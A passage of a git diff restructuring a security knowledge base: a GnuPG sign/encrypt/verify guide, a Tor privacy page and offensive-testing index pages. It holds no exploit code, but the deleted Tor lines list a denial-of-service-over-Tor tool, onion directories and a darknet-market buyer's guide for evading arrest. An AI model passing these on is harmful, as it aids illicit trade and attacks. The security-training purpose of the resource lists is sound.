KrB+InJyGq/7AF5x/AwqPnYUPmX9P12d+PYCEFMXif2X2yVRL5S2VROfSHU4TZRQ juAV+z4xJXNRskYl2ZbFOhTlu8OkpQfHcaliUfzZTCjDU4ZtLdzKq6bMOZ7A1NhL T19kOhJb/G61RPkiy13/S7Cp2cpD+0W25ce1E3GOXaRcUDJAGqToIXR2WbCgFgmW KvEzg8M55xOu4ssUkfDHEz9KTjGb375tNMTTkRs6BIFjKsfNvdG7ufgvRnMNWNHA xY/7qLB9ijrXqQ3CilgwxfnKLscFjoTuvrcXgsondIJnmyx77/57dgeNWx4MN6Zt Nzima96VFmGTuooE3QZb1eL84bSArilvrB8uCGCkDI35pQeevvg= =1VrI -----END PGP SIGNATURE----- +## Encrypt and Decrypt Messages -You can also nest piped commands to clearsign and then encrypt a message or vise versa (just switch the placement of the two gpg commands to first encrypt and then sign):cat <\ message.asc +``` - \-----END PGP MESSAGE----- +Decrypt: -Similarly one could also export and sign their public key with one fell swoop:gpg -a --export opie\_ | gpg --clearsign Output:-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 +```bash +gpg --decrypt message.asc +gpg --output message.txt --decrypt message.asc +``` -\-----BEGIN PGP PUBLIC KEY BLOCK----- +For lower-noise armored output: -KEY DATA +```bash +gpg --encrypt --armor --no-comments --no-emit-version --recipient "Recipient key ID" --output message.asc message.txt +``` -\-----END PGP PUBLIC KEY BLOCK----- +## Sign and Verify -\-----BEGIN PGP SIGNATURE----- +Clearsign text: -SIGNATURE DATA +```bash +gpg --clearsign message.txt +``` - \-----END PGP SIGNATURE----- +Create a detached signature: -### Verifying Signatures +```bash +gpg --armor --detach-sign file.zip +``` -What good are signatures if we can't verify them?cat <\ \-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 -> -> Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! -----BEGIN PGP SIGNATURE----- -> -> iQIzBAEBCgAdFiEEBHRN9HAfZ1F/IBCZMBbTaXgXIagFAlwFizIACgkQMBbTaXgX IaiWCBAAmq4vnbHex+6JTuFHYyuhZeoyOQNamBUP1IJqiu1tDYrjAsWPrQdjoZdw kDNE4asN//Y4lnxlbOwKeBFLM+NdIQui2/3ppbWENp9igGXTk8H7ZCOzH/OHgLTi rjZgtVdSVMrWQJKjqeiU7Kr/RvmBk3Gbdy7kUysW9LkfQ1Tu+Bg2NODvMbQoZ2cN SCHs+6rskRNbbKzq/TE2EQCYOubuAwj7tgssVH9ZNlIlDr4z8bxAy1iYF+lzJXG3 UFQldoDZ4d8fqagEVh5PEfHbEy3Wn4ldXgmDcTTDLu1MEnkO7Jy/sxRklMff+lFZ SvKyNnYf/9kyo9KR56KxwmESQPru4cxrXl9KDLly/OyrWFQ27fZRyNg8dZMNuZi2 46pmDFqoCJ/sAp2K97aJKU1PctLy2pnbc4CIIrN0eDhWkV5zOtuLBOtIdgG/ug57 IOG/yTKpUvedOil7J954RI4QEGBgVRufsCLabV3H1S8R1X9UfEWjEnpBZ3tlbY15 KGUptCZ5wjtv8IJPcX25REYBq6xCI7XNiup7YOXDhNpmlKCJMTXDP9A9zn/Q2Vjh Meztnx5P9K51tkhCrj0f43CMyeGV561GuaHBKuXNC9DxO5XPBURcHhIxWE3fJyCP B8rC+4gqItY0bvgqcyYRYDy2+qMirEiUl+mlxgJWFQsPRWLgsvM= =eSMz -----END PGP SIGNATURE----- END Output:gpg: -> -> Signature made Mon 03 Dec 2018 02:59:46 PM EST gpg: using RSA key 04744DF4701F67517F2010993016D369781721A8 gpg: Good signature from "opie\_ [opie@tt3j2x4k5ycaa5zt.onion](mailto:opie@tt3j2x4k5ycaa5zt.onion)" \[ultimate] -> -> Note that if any of the text in the message is changed after the signature is made, it will NOT verify as a "good" signature.cat -> -> <\ -> Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! -> -> Make sure to send your bitcoins to: -> -> \-----BEGIN PGP SIGNATURE----- -> -> iQIzBAEBCgAdFiEEBHRN9HAfZ1F/IBCZMBbTaXgXIagFAlwFizIACgkQMBbTaXgX IaiWCBAAmq4vnbHex+6JTuFHYyuhZeoyOQNamBUP1IJqiu1tDYrjAsWPrQdjoZdw kDNE4asN//Y4lnxlbOwKeBFLM+NdIQui2/3ppbWENp9igGXTk8H7ZCOzH/OHgLTi rjZgtVdSVMrWQJKjqeiU7Kr/RvmBk3Gbdy7kUysW9LkfQ1Tu+Bg2NODvMbQoZ2cN SCHs+6rskRNbbKzq/TE2EQCYOubuAwj7tgssVH9ZNlIlDr4z8bxAy1iYF+lzJXG3 UFQldoDZ4d8fqagEVh5PEfHbEy3Wn4ldXgmDcTTDLu1MEnkO7Jy/sxRklMff+lFZ SvKyNnYf/9kyo9KR56KxwmESQPru4cxrXl9KDLly/OyrWFQ27fZRyNg8dZMNuZi2 46pmDFqoCJ/sAp2K97aJKU1PctLy2pnbc4CIIrN0eDhWkV5zOtuLBOtIdgG/ug57 IOG/yTKpUvedOil7J954RI4QEGBgVRufsCLabV3H1S8R1X9UfEWjEnpBZ3tlbY15 KGUptCZ5wjtv8IJPcX25REYBq6xCI7XNiup7YOXDhNpmlKCJMTXDP9A9zn/Q2Vjh Meztnx5P9K51tkhCrj0f43CMyeGV561GuaHBKuXNC9DxO5XPBURcHhIxWE3fJyCP B8rC+4gqItY0bvgqcyYRYDy2+qMirEiUl+mlxgJWFQsPRWLgsvM= =eSMz -----END PGP SIGNATURE----- END Outputgpg: Signature made Mon 03 Dec 2018 02:59:46 PM EST gpg: using RSA key 04744DF4701F67517F2010993016D369781721A8 gpg: BAD signature from "opie\_ [opie@tt3j2x4k5ycaa5zt.onion](mailto:opie@tt3j2x4k5ycaa5zt.onion)" \[ultimate] +```bash +gpg --verify message.txt.asc +gpg --verify file.zip.asc file.zip +``` -## Tails with PGP +If verification fails after any text changes, treat the content as modified. -Let's learn how to use PGP within Tails. First thing you are going to want to do is create your own personal key, which consists of your public key that you can give out to people or post in your profiles online. As mentioned before, this is the key people use to encrypt messages to send to you. Your personal key also consists of your private key which you can use to decrypt messages that are encrypted using your PGP public key. If you look up to the top right area, you will see a list of icons, and one o them looks like a clipboard. You need to click on that clipboard and click Manage Keys Next click File ­> New Select PGP Key and click Continue Fill out your full name (I suggest you use your online name, not your real name) Optionally fill out an email and a comment as well. Next, click Advanced Key Options. Make sure Encryption type is set to RSA and set key strength to 4096. Once you have done this, click Create and it will generate your key. Once you have done this, you can view your personal key by clicking the tab My Personal Keys. You have now created your personal key! To find your PGP public key, you Right click on your personal key and click Copy and it will copy your PGP public key to your clipboard, in which you can paste anywhere you wish. Next, you are going to want to save the private key on a secondary USB drive or SD card. If you are running Tails from a USB drive, then you must use a separate drive to store your key on. If you are running Virtual Box, you want to right click on the icon in the bottom right corner that looks like a USB drive, and select your separate drive that you will be using to store your keys on. Again, never store your private keys on your hard drive, keep them OFF your computer. To save your private key, you are going to right click on your personal key and click Properties. I know you probably saw where it says Export, but this is not what you want to do. Clicking export will ONLY export your public key and will not save your private key. If you lose your private key, you can never recover it even if you create another personal key using the exact same password. Each private key is unique to the time it was created and if lost, is lost forever. So once you have clicked Properties, go over to the tab Details and click Export Complete Key. Once you have done this, you have saved your personal key for future use once you restart Tails. Remembering that Tails is not installed on your hard drive, so every time you restart Tails you lose all your keys. By saving your keys onto a USB drive or SD card, you can import your keys for use every time you restart it. Next you are going to want to learn how to encrypt and decrypt messages using your key. Well, luckily for me, Tails has already made a tutorial on how to do this, so I will refer you to their webpage. But before I do that, I need to mention that you need to find somebody else's PGP public key, or you can practice by using your own. Needless to say, the way you import other people's keys into what's called your key ring is by loading them into a text file. You do this with the program called gedit Text Editor. Click Applications ­> Accessories ­> gedit Text Editor and enter in someone's public key and hit save. Next you can return to your key program from the clipboard icon and click File ­> Import and select that file. It will import that person's public key into your key ring. To add future public keys to your key ring, I suggest reopening the same file and just adding the next key below the previous key and each time you open that file it will load all keys within that file. This way you can keep all the PGP public keys together in one file and save it on your SD card or USB drive for future use. Finally you can use the following 2 pages to learn how to encrypt and decrypt messages using PGP. +## Tails and OpenPGP -hxxps://tails.boum.org/doc/encryption\_and\_privacy/gpgapplet/public­key\_cryptography/index.en.html +Tails no longer uses the old `gpgapplet` documentation paths commonly found in historical guides. Use the current Tails encryption and OpenPGP documentation for supported workflows. -hxxps://tails.boum.org/doc/encryption\_and\_privacy/gpgapplet/decrypt\_verify/index.en.html +{% content-ref url="jolly-rogers-security-for-beginners.md" %} +[jolly-rogers-security-for-beginners.md](jolly-rogers-security-for-beginners.md) +{% endcontent-ref %} diff --git a/grey-privacy-tor-opsec/tor.md b/grey-privacy-tor-opsec/tor.md index 3c00cd6..795916e 100644 --- a/grey-privacy-tor-opsec/tor.md +++ b/grey-privacy-tor-opsec/tor.md @@ -1,64 +1,77 @@ -# TOR +--- +description: Tor fundamentals, privacy routing, bridges, onion-service notes, and safe references. +--- -[TOR](https://www.torproject.org) +# Tor -### TOR Tools +Tor privacy work should start with the official Tor Browser, Tails, or Whonix documentation. Dark-web search, onion indexing, and threat-intelligence feeds live in Cyber Intelligence; Tor-based routing for authorized offensive testing lives in Red Offensive. -* [Awesome Lists Collection: TOR](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) -* [https://geti2p.net/en/](https://geti2p.net/en/) - Kinda like TOR? -* [nipe](https://github.com/htrgouvea/nipe) - Tool to make TOR your default gateway +## Official References + +* [Tor Project](https://www.torproject.org/) +* [Tor Browser](https://www.torproject.org/download/) +* [Check Tor](https://check.torproject.org/) - Verify that your browser is using Tor. +* [Tor Metrics](https://metrics.torproject.org/) - Tor relay and network statistics. +* [ExoneraTor](https://metrics.torproject.org/exonerator.html) - Check whether an IP address was a Tor relay on a specific date. +* [EFF Surveillance Self-Defense: How to use Tor](https://ssd.eff.org/en/module/how-use-tor-windows) + +## Privacy Routing Tools + +* [Tails](https://tails.net/) - Amnesic live operating system that routes connections through Tor. +* [Whonix](https://www.whonix.org/) - Tor-focused desktop OS using gateway/workstation isolation. +* [I2P](https://geti2p.net/en/) - Separate anonymity network. See Cyber Intelligence for I2P search resources. +* [nipe](https://github.com/htrgouvea/nipe) - Routes Linux traffic through Tor. Use carefully; Tor Browser/Tails/Whonix are safer defaults for most users. * [Hackersploit nipe guide](https://youtu.be/ec37is2yyMo) -* [onionscan.org](https://onionscan.org/) - OnionScan is a free and open source tool for investigating the Dark Web. -* [dos-over-tor](https://github.com/skizap/dos-over-tor) -* [Kalitorify](https://github.com/brainfuckSec/kalitorify) - Transparent proxy through Tor for Kali Linux OS -* [vanguards](https://github.com/mikeperry-tor/vanguards) - Onion services defense tools -* [OnionBalence](https://onionbalance.readthedocs.io/en/latest/) - Onionbalance is the best way to load balance onion services across multiple backend Tor instances. -* [multitor](https://github.com/trimstray/multitor) - Create multiple TOR instances with a load-balancing -* [CrowdStrike/Tortilla](https://github.com/CrowdStrike/Tortilla) - Route all network through Tor. - * [Hackersploit's guide to Tortilla](https://youtu.be/hcKpROGDXOM) -* [https://iaca-darkweb-tools.com](https://iaca-darkweb-tools.com) - A collection of darkweb search tools. Allows you to query .onion search engines, marketplaces and social media sites. - -* [https://torrouters.com/](https://torrouters.com/) - THOR is a hardware version of the Tor (The Onion Router) bundle, which provides you with anonymity and privacy you need to bypass any ISP restrictions and enhance your privacy online. - -### Tor Bridges - alternative entry points for Tor that are not listed - -* [https://tails.boum.org/doc/first\_steps/startup\_options/bridge\_mode/index.en.html](https://tails.boum.org/doc/first_steps/startup_options/bridge_mode/index.en.html) -* [https://bridges.torproject.org/bridges](https://bridges.torproject.org/bridges) -* Some networks may block port TCP 9050 or even dynamically blacklist all Tor nodes in an attempt to prevent thier users from accessing the Tor network and get around access control -* This can be over come by useing Tor bridges. -* This can be configured to use by adding the bridge information to the torrc file like below - * \#Bridge fte 128.105.214.163:8080 \[hash] -* Obfuscated bridges - bridges that use special plug-ins called pluggable transports which obfuscate the traffic flow of Tor making its detection harder - * [https://www.torproject.org/docs/bridges#PluggableTransports](https://www.torproject.org/docs/bridges#PluggableTransports) - * Get these by requesting one by using a gmail/yahoo account and email bridges@bridges.torproject.org and enter “transport obfs3” - * Tor Pluggable Transports Tor Browser Bundle - -### Interesting Tor pages - -* [Hidden Wiki](https://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion.pet/wiki/index.php/Main_Page) - A large and neatly organized directory of .onion sites. - * [Darknet Version](https://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/index.php/Main_Page) -* [https://hidden-services.today](https://hidden-services.today) - Place with fresh links to TOR services hidden that is free of spam and scam sites. Only trusted and safe links are provided. -* [https://www.hunch.ly/darkweb-osint/](https://www.hunch.ly/darkweb-osint/) - Identify new hidden services, or find investigation targets that you might not have otherwise known about. It is 100% free and every day you will receive a link to a spreadsheet you can download or view online. Requires you to provide an email address to join their mailing list. -* [TOR66](http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/fresh) - An onion site that lists newly discovered onion sites that have been submitted from a variety of different clearnet platforms. -* [H-Indexer](http://jncyepk6zbnosf4p.onion/onions.html) - Another onion site that offers a list of fresh onions. Beware, results are often uncensored, so you may encounter illegal material. -* [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. -* [https://www.bigdatacloud.com/insights/tor-exit-nodes](https://www.bigdatacloud.com/insights/tor-exit-nodes) -* [Dread](https://www.deeponionweb.com/dread-forum/) - Reddit of the darkweb - * [https://cafedread.com](https://cafedread.com) - A read-only archive of the Dread forum. Read the latest posts and comments. Also supports reading via Atom feeds. -* [http://hacktownpagdenbb.onion/HackTown.html](http://hacktownpagdenbb.onion/HackTown.html) - One of my favorite sites on learning the operations of a black hat. -* [https://metrics.torproject.org/exonerator.html](https://metrics.torproject.org/exonerator.html) - Enter an IP address and date to find out whether that address was used as a Tor relay. - -### Check yourself - -* [https://www.dnsleaktest.com/results.html](https://www.dnsleaktest.com/results.html) - Check for DNS leaks in your TOR connection -* [https://check.torproject.org/](https://check.torproject.org/) - Are you connected to TOR? Are you sure? - -### Misc Reference - -* [Darknet Markey Buyers Guide](http://biblemeowimkh3utujmhm6oh2oeb3ubjw2lpgeq3lahrfr2l6ev6zgyd.onion/content/index.html) - The buyer’s DNM bible aims to be a complete guide that covers all steps that users have to take in order to buy securely from darknet markets. It orientates itself on OPSEC best practices and, if exactly followed, will greatly minimize the risk of you getting caught. - * [https://archive.org/details/darknet-market-buyers-bible](https://archive.org/details/darknet-market-buyers-bible) - - - -### Learn to TOR - -* [https://tryhackme.com/room/torforbeginners](https://tryhackme.com/room/torforbeginners) +* [torrouters.com](https://torrouters.com/) - Hardware Tor router project. Verify current availability before purchasing. + +## Bridges and Pluggable Transports + +Bridges are Tor entry points that are not listed in the public relay directory. They help when a network blocks known Tor relays. + +* [Tor Browser bridge documentation](https://support.torproject.org/censorship/censorship-7/) +* [Tor bridges](https://bridges.torproject.org/bridges) +* [Tails bridge mode](https://tails.net/doc/anonymous_internet/tor/index.en.html#bridges) +* Modern bridge workflows generally use pluggable transports such as **obfs4**, **meek**, or **Snowflake**. Older obfs2/obfs3 instructions are deprecated. +* To request bridges by email, follow the current Tor Project instructions rather than copying old transport-specific examples. + +## Onion Service Operators + +* [vanguards](https://github.com/mikeperry-tor/vanguards) - Onion-service defense tooling. +* [Onionbalance](https://onionbalance.readthedocs.io/en/latest/) - Load balances onion services across multiple backends. + +## Self-Checks + +* [DNS Leak Test](https://www.dnsleaktest.com/) - Check whether DNS requests leak outside the intended resolver path. +* [ipleak.net](https://ipleak.net/) - Check IP, DNS, WebRTC, and browser fingerprint exposure. +* [BrowserLeaks](https://browserleaks.com/) - Browser privacy and fingerprinting checks. +* [Cover Your Tracks](https://coveryourtracks.eff.org/) - EFF browser tracking and fingerprinting test. + +## Dark-Web Search and OSINT + +Dark-web investigation resources are maintained in Cyber Intelligence. Use them as untrusted data sources, and expect onion links to churn frequently. + +{% content-ref url="../cyber-intelligence/osint/dark-web-search.md" %} +[dark-web-search.md](../cyber-intelligence/osint/dark-web-search.md) +{% endcontent-ref %} + +{% content-ref url="../cyber-intelligence/intel-feeds-and-sources.md" %} +[intel-feeds-and-sources.md](../cyber-intelligence/intel-feeds-and-sources.md) +{% endcontent-ref %} + +## Authorized Offensive Routing + +Tor routing tools used for labs, pivoting, or offensive infrastructure belong with Red Offensive. Do not treat pentest routing utilities as personal anonymity guarantees. + +{% content-ref url="../red-offensive/testing-methodology/lateral-movement.md" %} +[lateral-movement.md](../red-offensive/testing-methodology/lateral-movement.md) +{% endcontent-ref %} + +{% content-ref url="../red-offensive/offensive-toolbox/" %} +[offensive-toolbox](../red-offensive/offensive-toolbox/) +{% endcontent-ref %} + +## Training + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/red-offensive/README.md b/red-offensive/README.md index e1a1b90..27f40e8 100644 --- a/red-offensive/README.md +++ b/red-offensive/README.md @@ -1,110 +1,122 @@ --- -description: Offensive Security and Penetration Testing +description: Authorized offensive security resources for reconnaissance, exploitation, post-exploitation, Active Directory attacks, password attacks, and red team operations. --- # Red - Offensive Operations -## **Intro** +Red Offensive is the home for authorized offensive security work: reconnaissance, scanning, exploitation, payloads, post-exploitation, lateral movement, Active Directory attacks, password attacks, red/purple teaming, wireless, social engineering, and physical security testing. -Offensive security is a huge realm with dozens of different paths and specialties for aspiring hackers of all types. It can be daunting at first, with the sheer volume of tools you can use, technologies you have to learn about, processes, and procedures. For those getting started, under stand one thing: If it works, then its the right thing for you! As the saying goes, "there are many ways to skin a cat". Same goes for hacking your target.\ -My personal advice is to try test every tool and technique you come across. There are gems hidden out there that work famously or will work famously for you. Even if it fails, you will learn the technical reason why and that can even lead you to developing your own cool hacking tool! +This section should not become a catch-all for every security resource. Passive OSINT belongs in Cyber Intelligence, web application testing belongs in Web App Hacking, malware analysis belongs in DFIR, and detection engineering belongs in Blue Defense. -## Resources: Offensive Security/ Penetration Testing +## How to Use This Section -When on an offensive security team, there are different levels of engagement that you will have, as well as different sets of rules you must follow, sometimes from engagement to engagement. Of those, one of the most common you will face is a simple Vulnerability assessment. This is little more than testing for the presence of a vulnerability. Sometimes its for a popular vulnerability that is trending in the news, or for an outdated server that reported poorly on the last vulnerability scan. Either way, they are quick, easy, but tedious and tend to have plenty of paperwork to go along with them.\ -The other type of tasks will be a full penetration test. Some times its a white box test with full knowledge of your target, as well as the target having full knowledge of you. Other times it will be a black box stealth mission to see how badly you can compromise your target. +Start with the engagement scope and rules of engagement. Then move through the pages based on where you are in the test: -When performing a structured penetration test, following/documenting proper procedure will be key to explaining your success and justifying your findings. Below are some formal and informal resources that should help you set up your own processes, toolkit, and documentation. +{% content-ref url="scanning-active-recon/" %} +[scanning-active-recon](scanning-active-recon/) +{% endcontent-ref %} -
+{% content-ref url="exploitation-and-targets/" %} +[exploitation-and-targets](exploitation-and-targets/) +{% endcontent-ref %} -Official Penetration Testing Guides +{% content-ref url="testing-methodology/post-exploitation/" %} +[post-exploitation](testing-methodology/post-exploitation/) +{% endcontent-ref %} -* Pen Test Standard Guide - [http://www.pentest-standard.org/index.php/PTES\_Technical\_Guidelines](http://www.pentest-standard.org/index.php/PTES\_Technical\_Guidelines) -* Vulnerability Assessment Guide - [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html) -* OSSTMM3 - [https://www.isecom.org/OSSTMM.3.pdf](https://www.isecom.org/OSSTMM.3.pdf) -* [NIST SP:800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final) - Technical Guide to Information Security Testing and Assessment +{% content-ref url="testing-methodology/active-directory.md" %} +[active-directory.md](testing-methodology/active-directory.md) +{% endcontent-ref %} -
+{% content-ref url="testing-methodology/lateral-movement.md" %} +[lateral-movement.md](testing-methodology/lateral-movement.md) +{% endcontent-ref %} -
+{% content-ref url="testing-methodology/password-attacks.md" %} +[password-attacks.md](testing-methodology/password-attacks.md) +{% endcontent-ref %} -Researcher Developed Guides and Resources +{% content-ref url="red-purple-teaming.md" %} +[red-purple-teaming.md](red-purple-teaming.md) +{% endcontent-ref %} -* [https://book.hacktricks.xyz](https://book.hacktricks.xyz) -* [https://www.thehacker.recipes/](https://www.thehacker.recipes/) -* [https://www.ired.team/](https://www.ired.team/) -* [https://guif.re/](https://guif.re/) -* [https://www.0daysecurity.com/penetration-testing/penetration.html](https://www.0daysecurity.com/penetration-testing/penetration.html) -* Hacking without Metasploit - [https://hakluke.medium.com/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90](https://hakluke.medium.com/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90) -* [https://github.com/nixawk/pentest-wiki](https://github.com/nixawk/pentest-wiki) -* [https://danielmiessler.com/projects/webappsec\_testing\_resources/](https://danielmiessler.com/projects/webappsec\_testing\_resources/) -* [https://threatexpress.com/blogs/2019/penetration-testing-pasties/](https://threatexpress.com/blogs/2019/penetration-testing-pasties/) -* [https://kwcsec.gitbook.io/the-red-team-handbook/](https://kwcsec.gitbook.io/the-red-team-handbook/) +{% content-ref url="offensive-toolbox/" %} +[offensive-toolbox](offensive-toolbox/) +{% endcontent-ref %} -
+## Methodology and Engagement References -
+* [PTES Technical Guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines) - Penetration Testing Execution Standard. +* [OSSTMM 3](https://www.isecom.org/OSSTMM.3.pdf) - Open Source Security Testing Methodology Manual. +* [ISECOM](https://www.isecom.org/) - Community behind OSSTMM and related security methodology resources. +* [NIST SP 800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final) - Technical Guide to Information Security Testing and Assessment. +* [HackTricks](https://book.hacktricks.xyz/) +* [The Hacker Recipes](https://www.thehacker.recipes/) +* [iRed Team](https://www.ired.team/) +* [Guif.re](https://guif.re/) +* [Hakluke: Hacking Without Metasploit](https://hakluke.medium.com/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90) +* [Pentest Wiki](https://github.com/nixawk/pentest-wiki) +* [Penetration Testing Pasties](https://threatexpress.com/blogs/2019/penetration-testing-pasties/) +* [The Red Team Handbook](https://kwcsec.gitbook.io/the-red-team-handbook/) -CheatSheets +Web application testing resource lists are maintained in Web App Hacking. -* [https://github.com/coreb1t/awesome-pentest-cheat-sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) -* [https://owasp.org/www-project-cheat-sheets/](https://owasp.org/www-project-cheat-sheets/) -* [https://github.com/OlivierLaflamme/Cheatsheet-God](https://github.com/OlivierLaflamme/Cheatsheet-God) -* [https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/) -* [https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) +{% content-ref url="../web-app-hacking/" %} +[web-app-hacking](../web-app-hacking/) +{% endcontent-ref %} -
+## Cheat Sheets -## Notekeeping/Report Writing +* [Awesome Pentest Cheat Sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) +* [Cheatsheet God](https://github.com/OlivierLaflamme/Cheatsheet-God) +* [HighOn.Coffee Penetration Testing Cheat Sheet](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/) +* [SANS Cheat Sheets](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) -Notekeeping becomes incredibly important in recreating exploits, storing essential findings, keeping screenshots, common commands you ran to reach an outcome and more. Without sufficient notekeeping you’re only setting yourself up to fail. +OWASP cheat sheets are kept with web application testing unless they are directly tied to an offensive workflow on a Red page. -
+## Notes and Reporting -Report Writing Guides +Good offensive work depends on clean notes, reproducible commands, screenshots, and clear reporting. -* [https://www.trustedsec.com/tools/physical-security-assessment-documentation/](https://www.trustedsec.com/tools/physical-security-assessment-documentation/) -* [https://www.blackhillsinfosec.com/tag/pentest-reports/](https://www.blackhillsinfosec.com/tag/pentest-reports/) -* [https://zeltser.com/writing-tips-for-it-professionals/](https://zeltser.com/writing-tips-for-it-professionals/) -* [https://zeltser.com/security-assessment-report-cheat-sheet/](https://zeltser.com/security-assessment-report-cheat-sheet/) -* [https://zeltser.com/human-communications-cheat-sheet/](https://zeltser.com/human-communications-cheat-sheet/) +### Report Writing -
+* [TrustedSec Physical Security Assessment Documentation](https://www.trustedsec.com/tools/physical-security-assessment-documentation/) +* [Black Hills Pentest Reports](https://www.blackhillsinfosec.com/tag/pentest-reports/) +* [Zeltser: Writing Tips for IT Professionals](https://zeltser.com/writing-tips-for-it-professionals/) +* [Zeltser: Security Assessment Report Cheat Sheet](https://zeltser.com/security-assessment-report-cheat-sheet/) +* [Zeltser: Human Communications Cheat Sheet](https://zeltser.com/human-communications-cheat-sheet/) + +### Note Taking -{% tabs %} -{% tab title="Note Taking Apps" %} * [CherryTree](https://www.giuspen.com/cherrytree/) * [Joplin](https://joplinapp.org/) * [OneNote](https://www.onenote.com) * [Obsidian](https://obsidian.md/) -* Trilium: [https://github.com/zadam/trilium](https://github.com/zadam/trilium) -* KeepNote: [http://keepnote.org/](http://keepnote.org/) -* [https://asciinema.org/](https://asciinema.org/) -{% endtab %} - -{% tab title="Screenshot Tools" %} -* [https://github.com/flameshot-org/flameshot](https://github.com/flameshot-org/flameshot) -* [https://getgreenshot.org/](https://getgreenshot.org/) -* Linux Native utility - Ctrl +Shift+PrintSreen -{% endtab %} - -{% tab title="Report Generation Tools" %} -* [Ghostwriter](https://github.com/GhostManager/Ghostwriter) - The SpecterOps project management and reporting engine -* [APTRS](https://github.com/Anof-cyber/APTRS) - APTRS (Automated Penetration Testing Reporting System) is an automated reporting tool in Python and Django. The tool allows Penetration testers to create a report directly without using the Traditional Docx file. It also provides an approach to keeping track of the projects and vulnerabilities. -{% endtab %} - -{% tab title="Templates/Examples" %} -* [https://github.com/nationalcptc/report\_examples](https://github.com/nationalcptc/report\_examples) -* [https://github.com/tjnull/TJ-JPT](https://github.com/tjnull/TJ-JPT) -* [https://noraj.github.io/OSCP-Exam-Report-Template-Markdown/](https://noraj.github.io/OSCP-Exam-Report-Template-Markdown/) -* [https://github.com/fransr/template-generator](https://github.com/fransr/template-generator) -* [https://github.com/ZephrFish/BugBountyTemplates](https://github.com/ZephrFish/BugBountyTemplates) -* [https://github.com/juliocesarfort/public-pentesting-reports](https://github.com/juliocesarfort/public-pentesting-reports) -* [https://411hall.github.io/assets/files/CTF\_template.ctb](https://411hall.github.io/assets/files/CTF\_template.ctb) -{% endtab %} -{% endtabs %} - -## **Training and Resources** - -For resources including offensive security courses, books, CTFs and much more, please check out the Training and Resources section of this guide. +* [Trilium](https://github.com/zadam/trilium) +* [asciinema](https://asciinema.org/) - Terminal session recording. +* **KeepNote** - Legacy note-taking tool. Kept only for historical references and old OSCP-style workflows. + +### Screenshots + +* [Flameshot](https://github.com/flameshot-org/flameshot) +* [Greenshot](https://getgreenshot.org/) +* Native Linux screenshot shortcut: `Ctrl+Shift+PrintScreen` + +### Report Generation + +* [Ghostwriter](https://github.com/GhostManager/Ghostwriter) +* [APTRS](https://github.com/Anof-cyber/APTRS) +* [National CPTC Report Examples](https://github.com/nationalcptc/report_examples) +* [TJ-JPT](https://github.com/tjnull/TJ-JPT) +* [OSCP Exam Report Template](https://noraj.github.io/OSCP-Exam-Report-Template-Markdown/) +* [Fransr Template Generator](https://github.com/fransr/template-generator) +* [BugBountyTemplates](https://github.com/ZephrFish/BugBountyTemplates) +* [Public Pentesting Reports](https://github.com/juliocesarfort/public-pentesting-reports) + +## Training + +Offensive courses, labs, CTFs, TryHackMe rooms, and books live in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/red-offensive/exploitation-and-targets/README.md b/red-offensive/exploitation-and-targets/README.md new file mode 100644 index 0000000..27d4c96 --- /dev/null +++ b/red-offensive/exploitation-and-targets/README.md @@ -0,0 +1,45 @@ +# Exploitation and Targets + +Use this section for authorized exploitation workflows after reconnaissance has identified targets and services. It covers exploit research, offensive frameworks, payloads, shells, service-specific exploitation, special targets, and exploit development. + +Web application vulnerabilities have their own section. This page links there when a target turns into a web application test instead of duplicating the full web-app tree under Red Offensive. + +{% content-ref url="../../web-app-hacking/" %} +[web-app-hacking](../../web-app-hacking/) +{% endcontent-ref %} + +## Exploit Research + +{% content-ref url="../testing-methodology/exploit-research.md" %} +[exploit-research.md](../testing-methodology/exploit-research.md) +{% endcontent-ref %} + +## Offensive Frameworks and Payloads + +{% content-ref url="offensive-frameworks.md" %} +[offensive-frameworks.md](offensive-frameworks.md) +{% endcontent-ref %} + +{% content-ref url="../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md" %} +[msfvenom-commands.md](../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) +{% endcontent-ref %} + +{% content-ref url="shells.md" %} +[shells.md](shells.md) +{% endcontent-ref %} + +## Exploitation by Target + +{% content-ref url="../testing-methodology/exploitation.md" %} +[exploitation.md](../testing-methodology/exploitation.md) +{% endcontent-ref %} + +{% content-ref url="special-targets.md" %} +[special-targets.md](special-targets.md) +{% endcontent-ref %} + +## Exploit Development + +{% content-ref url="../testing-methodology/exploit-dev-buffer-overflow.md" %} +[exploit-dev-buffer-overflow.md](../testing-methodology/exploit-dev-buffer-overflow.md) +{% endcontent-ref %} diff --git a/red-offensive/exploitation-and-targets/offensive-frameworks.md b/red-offensive/exploitation-and-targets/offensive-frameworks.md index 799c528..8934b51 100644 --- 